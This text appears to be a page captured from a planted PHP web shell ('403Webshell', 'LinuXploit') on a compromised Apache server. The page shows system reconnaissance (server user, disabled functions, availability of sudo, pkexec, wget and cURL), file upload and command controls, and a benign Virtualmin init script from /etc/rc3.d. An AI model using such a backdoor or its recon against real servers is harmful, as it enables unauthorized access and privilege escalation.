403Webshell
Server IP : 172.67.134.114  /  Your IP : 162.159.115.42
Web Server : Apache/2.4.37
System : Linux almalinux.duckdns.org 4.18.0-553.111.1.el8_10.x86_64 #1 SMP Sun Mar 8 20:06:07 EDT 2026 x86_64
User : ricodeal ( 1046)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /etc/rc3.d/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /etc/rc3.d/S99lookup-domain
#!/bin/sh
# description: Daemon for quickly looking up Virtualmin servers from procmail
# chkconfig: 2345 99 99

case "$1" in
'start')
	/usr/sbin/virtualmin lookup-domain-daemon
	RETVAL=$?
	if [ "$RETVAL" = "0" ]; then
		touch /var/lock/subsys/lookup-domain
	fi
	;;
'stop')
	kill `cat /var/webmin/lookup-domain-daemon.pid`
	RETVAL=$?
	if [ "$RETVAL" = "0" ]; then
		rm -f /var/lock/subsys/lookup-domain
	fi
	;;
'restart')
	$0 stop ; $0 start
	RETVAL=$?
	;;
*)
	echo "Usage: $0 { start | stop }"
	RETVAL=1
	;;
esac
exit $RETVAL

Youez - 2016 - github.com/yon3zu
LinuXploit